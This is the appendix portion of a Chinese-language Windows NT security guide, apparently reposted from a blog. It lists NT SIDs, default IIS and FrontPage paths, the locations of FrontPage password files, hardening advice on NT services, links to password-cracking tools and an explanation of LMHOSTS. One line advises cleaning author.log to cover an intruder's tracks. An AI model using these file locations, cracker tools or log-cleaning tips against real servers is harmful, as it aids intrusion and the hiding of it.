BUILTINREPLICATOR S-1-5-32-552 (=0x228)
Specail Groups
CREATOR OWNER S-1-3-0
EVERYONE S-1-1-0
NT AUTHORITYNETWORK S-1-5-2
NT AUTHORITYINTERACTIVE S-1-5-4
NT AUTHORITYSYSTEM S-1-5-18
附錄C:預設IIS結構的關係位置
==============================================================================
C:InetPubwwwroot
C:InetPubscripts /Scripts
C:InetPubwwwroot\_vti_bin /_vti_bin
C:InetPubwwwroot\_vti_bin\_vti_adm /_vti_bin/_vti_adm
C:InetPubwwwroot\_vti_bin\_vti_aut /_vti_bin/_vti_aut
C:InetPubcgi-bin /cgi-bin
C:InetPubwwwrootsrchadm /srchadm
C:WINNTSystem32inetserviisadmin /iisadmin
C:InetPubwwwroot\_vti_pvt /_vti_pvt
C:InetPubwwwrootsamplesSearchQUERYHIT.HTM Internet Information Index
Server sample
C:Program FilesMicrosoft FrontPage\_vti_bin
C:Program FilesMicrosoft FrontPage\_vti_bin\_vti_aut
C:Program FilesMicrosoft FrontPage\_vti_bin\_vti_adm
C:WINNTSystem32inetserviisadminhtmldocsadmin.htm /iisadmin/isadmin
Frontpage特有的檔案及其功能:
/_vti_inf.html Ensures that frontpage server extensions are installed.
/_vti_pvt/service.pwd Contains the encrypted password files. Not used on IIS
and WebSite servers.
/_vti_pvt/authors.pwd On Netscape servers only. Encrypted. Names and passwords
of authors.
/_vti_pvt/administrators.pwd
/_vti_log/author.log If author.log is there it will need to be cleaned to
cover an intruders tracks.
附錄D:服務
==============================================================================
我已經收到過無數有關NT服務的郵件。人們都在問,他們該做些什麼,哪些服務應該
去啟用,等等。下面是NT服務的列表,包括每個服務的說明和安裝建議。——NeonSurge
ALERTER(告警器):依賴於NetBIOS,通過TCP/IP進行網路通訊。這個服務使使用者能
夠接收其它機器發出的訊息。這些訊息可以是告警資訊或預先確定的網路資訊。建議去激
活機器上的這個服務,因為它依賴於NetBIOS,而且幾乎從來都沒用過。
CLIPBOOK SERVER(剪貼本伺服器):依賴於NetBIOS,通過TCP/IP進行網路通訊。該
伺服器服務允許剪貼簿上的內容通過網路共享。由於這個服務很少用,而且遠端入侵者可
以通過它獲得資訊,因此應該去啟用。
COMPUTER BROWSER(計算機瀏覽器):該服務使使用者通過網路鄰居的瀏覽能檢視到可
用的網路資源。當在伺服器上啟用時,伺服器就會通過NetBIOS廣播註冊它的名字或直接
註冊到WINS伺服器上。建議去啟用這個服務。
DHCP CLIENT(DHCP客戶機):如果機器是DHCP客戶機,應該把該服務設定為自動激
活;如果不是,去啟用。
DIRECTORY REPLICATOR(目錄複製器):該服務使NT系統能夠輸入和輸出目錄內容。
如果您不需要內容複製,就去啟用該服務。
EVENT LOG(事件記錄):建議始終利用這個服務,因為它負責記錄伺服器上的活
動,包括安全活動等。
LICENSE LOGGING SERVICE(LICENSE記錄服務):用來跟蹤不同應用所使用的
licenses。它不會對網路產生任何嚴重的影響,應設定為自動啟用(這是預設設定)。
MESSENGER SERVICE(MESSENGER服務):依賴於NetBIOS,通過TCP/IP進行網路通
信。它在設計和功能上類似於報警器服務。建議停止該服務,以防止通過NBTSTAT命令使
用使用者名稱列舉。
NET LOGON(NET登入):該服務被伺服器和工作站用來提供使用者身份認證。該服務隨
時都需要,它是作為內建SYSTEM使用者執行的。
NETWORK DDE and DDE DSDM(網路DDE與DDE DSDM):這些服務提供動態資料交換。
DDE用於象聊天這樣的應用(這很重要)以及可能需要這類功能的其它應用。這些服務因
其TCP連線接受狀態而被認為具有一定的風險。
NETWORK MONITOR AGENT(網路監控代理):該服務用來對通過網路適配卡的通訊量
進行監控。如果本軟體的SMS版本正被使用,管理員就能遠端監控另一個網路適配卡上的
通訊量。
NT LM SECURITY SUPPORT PROVIDER(NT LM安全支援提供者):該服務為舊版本軟體
包提供後向相容性與身份認證幫助。
PLUG AND PLAY(即插即播):用於配置PnP裝置。
REMOTE PROCEDURE CALL LOCATOR AND SERVICES(遠端過程呼叫定位符與服務):
RPC是一個用來封裝通過網路進行的功能呼叫的協議。它的預設配置是自動的和標準的。
該服務會造成很大的安全風險,但由於對該服務的依賴性很大,以至於不能去啟用。
ROUTING AND REMOTE ACCESS SERVICE(路由與遠端訪問服務):這是一個增強
Windows NT功能的後加服務。如果您正在用調變解調器從您的NT系統撥出,該服務應設定
為自動啟用。如果您正在使用它的選路特徵,也應該將它設定為自動啟用。
SCHEDULE(排程):該服務使一個應用程式能夠在預先指定的時間被執行。這樣會造
成嚴重的安全威脅,因為該服務可被用來啟動SYSTEM上下文中的應用。
SERVER(伺服器):是所有伺服器端NetBIOS應用的關鍵所在。沒有這個服務,一些
管理工具如伺服器管理器就不能用。如果不需要對機器的遠端管理或訪問,建議去啟用該
服務。但是在Web伺服器上不需要這個服務。
SPOOLER(假離線程式):該服務用來接受從客戶機發出的列印作業請求,並使本地
系統能夠把作業假離線到網路印表機。該服務應設定為自動啟用。
TCP/IP NETBIOS HELPER(TCP/IP NETBIOS幫助):該服務有助於增強NBT和Net登入
服務。因為Net登入服務應該設定為自動啟用,所以這個服務也應該設定為自動啟用。
TELEPHONY SERVICE(電話服務):該服務用來管理電話驅動程式和撥號屬性。在不
採用任何型別的電話或RAS裝置的系統上,應去啟用這個服務。
UPS:這個服務用在與不間斷電源的序列通訊中。
WORKSTATION(工作站):這個服務是為出站NetBIOS連線提供的。因為它僅用於出站
連線,因此一般沒有安全風險,應設定為自動啟用。
附錄E:URL
==============================================================================
Sid Tools: [url]http://www.technotronic.com/microsoft.html[/url]
Eudpass: [url]http://rhino9.ml.org/wardoc[/url]
1nf0ze: [url]http://rhino9.ml.org/wardoc[/url]
FireFTP: [url]http://rhino9.ml.org/wardoc[/url]
Grinder: [url]http://rhino9.ml.org/software[/url]
Glide: [url]http://rhino9.ml.org/wardoc[/url]
John The Ripper (DES Cracker): [url]http://www.false.com/security/john/index.html[/url]
WS_FTPBug: [url]http://rhino9.ml.org/wardoc[/url]
L0phtCrack (NT Password Cracker): [url]http://www.l0pht.com[/url]
PWDump: [url]http://rhino9.ml.org/wardoc[/url]
NAT: [url]http://www.technotronic.com/microsoft.html[/url]
附錄F:LMHOSTS檔案
==============================================================================
儘管大多數安全專業人士習慣於使用HOSTS檔案,但實際上,WindowsNT是用兩個文字
檔案來解析主機名的。WindowsNT仍然用HOSTS檔案,但它也用LMHOSTS檔案。
LMHOSTS檔案與HOSTS檔案很相象,它也是一個用來解析計算機名字(NetBIOS)的展
開順序文字檔案。另外,LMHOSTS檔案也允許使用者利用關鍵字,這一特徵比HOSTS檔案具有
更大的靈活性。
LMHOSTS檔案用的關鍵字是#PRE、#DOM:域、#i nclude檔名、#BEGIN_ALTERNATE和
#END_ALTERNATE。如果井格線後面的不是這些關鍵字,就被視為評語。
#PRE:在LMHOSTS檔案中,如果一個表目後面跟的是這個關鍵字,它就會通知
WindowsNT把該表目預載入到名字快取記憶體器中。這樣,Windows系統就能更迅速地解析這
個名字。
#DOM:#DOM標籤表目使WindowsNT能夠把該表目和您所指定的任意域聯絡在一起
(即:#DOM:accounting)。這有助於NT更有效地解析特定的名字,因為它不必通過諮詢
選路表來找出該表目所屬的域。
#i nclude:該表目通知WindowsNT去哪裡尋找內建在其它機器上的其它LMHOSTS檔案。
在使用這個功能時,使用者應該指定訪問其它LMHOSTS檔案的UNC路徑。#BEGIN_ALTERNATE和
#END_ALTERNATE都與#i nclude標籤一起使用,並應出現在#i nclude標籤的前後。
本文轉自loveme2351CTO部落格,原文連結:http://blog.51cto.com/loveme23/8240 ,如需轉載請自行聯絡原作者
相關文章
- 【系統安全003】NT驅動框架框架
- Windows NT安全性理論與實踐 (轉)Windows
- WINDOWS NTWindows
- OAuth 安全指南OAuth
- Windows NT 核心Windows
- 安全風險管理指南
- Windows 7安全指南Windows
- Microsoft官方安全指南ROS
- nt高可用部署
- 微軟安全指南:安全無線LAN規劃指南簡介(轉)微軟
- 網路安全求職指南求職
- Node.js 安全指南Node.js
- WCF安全指南釋出
- MySQL安全性指南MySql
- Windows NT 是什麼?Windows
- java安全編碼指南之:方法編寫指南Java
- 把NT“趕盡殺絕”攻擊NT的一些技術(轉)
- RESTFUL API 安全設計指南RESTAPI
- Python安全編碼指南Python
- header的安全配置指南Header
- Python 安全編碼指南Python
- 安裝informix for nt時報錯ORM
- WallPaper Changer 2.5 for Windows 98/NTWindows
- Win98、NT和Linux的共存 NT的OS Loader ntosknl.exe (轉)Linux
- MaxCompute安全管理指南-案例篇
- 給初學者的Web安全指南Web
- 微軟更新 Windows 驅動安全指南微軟Windows
- Spring Security安全綜合大全指南Spring
- 20 Differences Between Oracle on NT and Oracle on UnixOracle
- java安全編碼指南之:執行緒安全規則Java執行緒
- 微軟安全指南:制定安全無線網路策略(轉)微軟
- 虛擬化安全指南-淺談CSA安全指南第三版之第13域 薦
- Spring Boot執行緒安全指南Spring Boot執行緒
- Kubernetes 最佳安全實踐指南
- java安全編碼指南之:Number操作Java
- 安卓應用安全指南翻譯完成安卓
- 安全規範和指南系列之二
- [譯]移動API安全終極指南API